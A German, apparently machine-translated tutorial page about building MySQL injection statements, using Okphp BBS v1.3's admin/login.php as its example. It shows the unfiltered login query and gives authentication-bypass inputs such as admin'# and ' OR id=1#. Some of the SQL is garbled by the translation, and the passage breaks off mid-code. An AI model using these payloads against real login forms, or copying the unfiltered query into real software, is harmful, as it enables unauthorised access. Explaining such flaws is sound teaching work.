Heim >php教程 >PHP开发 >Apropos PHP+MySQL-Injection-Anweisungsstruktur

Apropos PHP+MySQL-Injection-Anweisungsstruktur

高洛峰
高洛峰Original
2016-11-28 16:23:131078Durchsuche

1. Vorwort:

Versionsinformationen: Okphp BBS v1.3 Open-Source-Version

Download-Adresse: http://www.cncode.com/SoftView.asp?SoftID=1800

Aufgrund von PHP und MYSQL selbst ist die Injektion von PHP + MYSQL schwieriger als die von ASP, insbesondere die Erstellung von Anweisungen während der Injektion. Dieser Artikel verwendet hauptsächlich eine einfache Analyse einiger Dateien von Okphp BBS v1.3. Lassen Sie uns über die Konstruktionsmethode der PHP+MySQL-Injection-Anweisung sprechen. Ich hoffe, dieser Artikel wird Ihnen hilfreich sein.

Erklärung: Alle im Artikel erwähnten „Schwachstellen“ wurden nicht getestet und existieren möglicherweise überhaupt nicht. Wichtig ist, ob es Lücken gibt oder nicht Anweisungsstruktur.

2. „Schwachstellen“-Analyse:

1. Admin/login.php-Injection führt zu einer Sicherheitslücke bei der Authentifizierungsumgehung:

Code:

$conn = sql_connect($dbhost, $dbuser, $dbpswd, $dbname);

$password = md5($password);

$q = "select id,group_id from $user_table where username = '$Benutzername' und Passwort='$Passwort'";

$res = sql_query($q,$conn);

$row = sql_fetch_row($res);

 $q = "select id,group_id from $user_table where username='$username' and password='$password'"

 $username und $password werden nicht gefiltert und können leicht umgangen werden.

Für Anweisungen wie „select * from $user_table“ mit Benutzername='$Benutzername' und Passwort='$Passwort' lauten die Methoden zum Ändern der Anweisung:

Konstruktion 1 (unter Verwendung logischer Operationen) : $username =' OR 'a'='a $password=' OR 'a'='a

Entspricht der SQL-Anweisung:

select * from $user_table where username='' ODER 'a '='a' und passwort='' ODER 'a'='a'

Konstruktion 2 (verwenden Sie die Kommentaranweisung # in MySQL, /*, um $password auszukommentieren): $username= admin'# (oder admin'/*)

Das heißt:

Wählen Sie * aus $user_table aus, wobei Benutzername='admin'#' und Passwort='$password'"

Entspricht:

Wählen Sie * aus $user_table aus, wobei Benutzername='admin' ist

In admin/login.php wird das $password in der $q-Anweisung vor der Abfrage MD5-verschlüsselt es kann nicht konstruiert werden. Hier verwenden wir Konstruktion 2:

select id,group_id from $user_table where username='admin'#' and password='$password'"

Entspricht:

Wählen Sie id,group_id aus $user_table, wobei username='admin' ist

Es wird eingerichtet, solange es einen Benutzer namens admin gibt. Wenn Sie es nicht wissen den Benutzernamen, Sie kennen nur die entsprechende ID,

Wir können es wie folgt konstruieren: $username=' OR id=1#

Äquivalent zu:

select id ,group_id aus $user_table wobei username='' OR id=1 # und password='$password' (die nach # sind auskommentiert)

Wir schauen uns dann den Code an:

if ($row[0]) {

// Wenn nicht Admin oder Supermoderator

 if ($username != "admin" && !eregi("(^|&)3( $|&)",$row[1])) {

$login = 0;

}

else {

$login = 1 ;

 // Anmeldung fehlgeschlagen---------------

 if (!$login) {

 write_log("Moderator login ","0","passwort falsch");

 echo "

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn